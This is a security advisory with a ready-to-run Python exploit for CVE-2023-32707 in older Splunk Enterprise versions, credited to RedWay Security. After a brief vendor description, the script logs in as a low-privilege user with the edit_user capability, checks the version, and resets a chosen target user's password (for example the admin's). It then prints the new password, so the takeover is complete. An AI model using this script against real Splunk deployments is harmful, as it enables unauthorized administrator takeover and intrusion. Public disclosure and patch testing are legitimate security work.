Authored by RedWay Security, Santiago Lopez

Splunk Enterprise versions below 9.0.5, 8.2.11, and 8.1.14 allows low-privileged users who hold a role with edit_user capability assigned to it the ability to escalate their privileges to that of the admin user by providing specially crafted web requests.

advisories | CVE-2023-32707

https://github.com/redwaysecurity/CVEs/blob/main/CVE-2023-32707/README.md

#!/usr/bin/env python3
#
# Splunk admin account take over exploit - CVE-2023-32707
# Author: [Redway Security](https://twitter.com/redwaysec))
# Discovery: [Santiago Lopez](https://twitter.com/santi_lopezz99)
#
# Vendor Description: A low-privilege user who holds a role that has the `edit_user` capability assigned
# to it can escalate their privileges to that of the admin user by providing specially crafted web requests.
#
# Versions Affected: Splunk Enterprise **below** 9.0.5, 8.2.11, and 8.1.14.
#
import argparse
import requests
import random
import string
import base64
# ignore warnings
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Parse command-line arguments
parser = argparse.ArgumentParser(description='Splunk Authentication')
parser.add_argument('--host', required=True, help='Splunk host or IP address')
parser.add_argument('--username', required=True, help='Splunk username')
parser.add_argument('--password', required=True, help='Splunk password')
parser.add_argument('--target-user', required=True, help='Target user')
parser.add_argument('--force-exploit', action='store_true',
help='Force exploit')

args = parser.parse_args()

# Splunk server settings
splunk_host = args.host.split(':')[0]
splunk_username = args.username
splunk_password = args.password
target_user = args.target_user
force_exploit = args.force_exploit

splunk_port = args.host.split(':')[1] if len(args.host.split(':')) > 1 else 8089
user_endpoint = f"https://{splunk_host}:{splunk_port}/services/authentication/users"

credentials = f"{splunk_username}:{splunk_password}"
base64_credentials = base64.b64encode(credentials.encode()).decode()
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
'Authorization': f'Basic {base64_credentials}'

}
proxies = {
# 'http': '[http://127.0.0.1:8080'](<a href=),">http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080'
}

response = requests.get(f"{user_endpoint}/{splunk_username}?output_mode=json",
headers=headers, proxies=proxies, verify=False)

if response.status_code == 200:
affected_versions = ['9.0.4', '8.2.10', '8.1.13']
user = response.json()
splunk_version = user['generator']['version']
# This is not a good way to compare versions.
# There is a range of versions that are affected by this CVE, but this is just a PoC
# 8.1.0 to 8.1.13
# 8.2.0 to 8.2.10
# 9.0.0 to 9.0.4
print(f"Detected Splunk version '{splunk_version}'")
if any(splunk_version <= value for value in affected_versions) or force_exploit:
user_capabilities = user['entry'][0]['content']['capabilities']
if 'edit_user' in user_capabilities:
print(
f"User '{splunk_username}' has the 'edit_user' capability, which would make this target exploitable.")
new_password = ''.join(random.choice(
string.ascii_letters + string.digits) for _ in range(8))
change_password_payload = {
'password': new_password,
'force-change-pass': 0,
'locked-out': 0
}
response = requests.post(f"{user_endpoint}/{target_user}?output_mode=json",
data=change_password_payload, headers=headers, proxies=proxies, verify=False)
if response.status_code == 200:
print(
f"Successfully taken over user '{target_user}', log into Splunk with the password '{new_password}'")
else:
print('Account takeover failed')
else:
print(
f"User '{splunk_username}' does not have the 'edit_user' capability, which makes this target not exploitable by this user.")
else:
print(f"Splunk version '{splunk_version}' is not affected by CVE-2023-32707")
else:
print(
f"Couldn't authenticate to Splunk server '{splunk_host}' with user '{splunk_username}' and password '{splunk_password}'")
exit(1)